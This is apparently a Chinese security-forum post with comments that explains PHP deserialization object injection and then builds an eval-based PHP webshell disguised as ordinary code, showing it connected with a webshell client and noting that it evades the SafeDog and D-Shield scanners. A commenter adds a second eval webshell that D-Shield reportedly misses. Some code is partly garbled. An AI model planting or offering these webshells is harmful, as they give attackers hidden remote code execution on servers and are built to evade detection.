

Author:vspiders

首发地址：<http://blog.csdn.net/vspiders/article/details/79643200>

## 前言

最近和小伙伴们一起研究了下PHP反序列化漏洞，突发奇想，利用反序列化漏洞写一个一句话木马效果应该蛮不错的。于是便有此文。

## 0x01 PHP反序列化

说起PHP反序列化，那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输，比如跨脚本等。而PHP反序列化是将序列化之后

```
<?php
class A{
    var $test = "demo";
}

$a = new A(); // 000a000
$b = serialize($a); // 0000a0000b
$c = unserialize($b); // 00000b0000c

print_r($b); // 0000000000:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test); // 00000c0test000:demo

?>
```

## 0x02 PHP反序列化漏洞

PHP类中有一种特殊函数体的存在叫魔法函数，magic函数命名是以符号开头的，比如 construct, destruct, toString, sleep, wakeup等等。这些函数在某些情况下会自动调用，比如construct当一个对象创建时被调用，destruct当一个对象销毁时被调用，\_\_toString当一个对象被当作一个字符串使用而在反序列化时，如果反序列化对象中存在魔法函数，使用unserialize()函数同时也会触发。这样，一旦我们能够控制unserialize()入口，那么就on能引发对象注入漏洞。

```
<?php
class A{
    var $test = "demo";
    function __destruct(){
        echo $this->test;
    }
}

$a = $_GET['test'];
$a_unser = unserialize($a);
?>
```

比如上述代码，构造payload为[http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}](http://127.0.0.1:800/test.php?test=O:1:)

反序列化后在脚本运行结束时就会调用\_destruct函数，同时会覆盖test变量输出hello。

## 0x03 回马枪

我们可以利用该漏洞点，控制输入变量，拼接成一个序列化对象。然后再构造一个魔法函数，比如在\_destruct()函数中调用eval执行序列化对象中的语句。

```
<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}

$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\""A\"":1:{s:4:\""test\"";s:\""$.len.\"":\""\". $test.\"";}"; // 0000000000
$test_unser = unserialize($pp); // 0000000000__destruct000
?>
```

0x04 效果演示

直接菜刀链接：

安全狗：

此木马毕竟是跟正常文件太像，所以免杀效果很不错。这里只是测试了安全狗、D盾，其余自测。

小结

而且由此可以引发很多变形，这里只是利用反序列化漏洞，其他漏洞也可以用来当作木马的载体，毕竟cms的代码执行漏洞在被发现之前，他依旧是一个正常到不能再正常的

点击收藏 | 3 关注 | 1

[上一篇：快速搭建一个轻量级OpenSOC架...](#) [下一篇：某商城文件上传漏洞与SQL注入漏洞](#)

1. 3 条回复



[rcoil](#) 2018-03-21 19:09:50

这个倒是有人研究过，但是好像没见到有人发出来。

0 回复Ta



[孤独世界](#) 2018-03-22 12:54:42

```
<?php
class evals{
    protected $links;
    function __construct($an){
        $this->links = $an;
        eval("\$title=1;".$this->links);
    }
}
$a = new evals(@$_POST['An']);
?>
```

去年还是前年写的一个马 D盾扫描的扫不出来

0 回复Ta



[cdxy](#) 2018-03-22 15:03:43

<http://webshell.cdxy.me/>  
以后webshell可以在这里试下

0 回复Ta

---

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)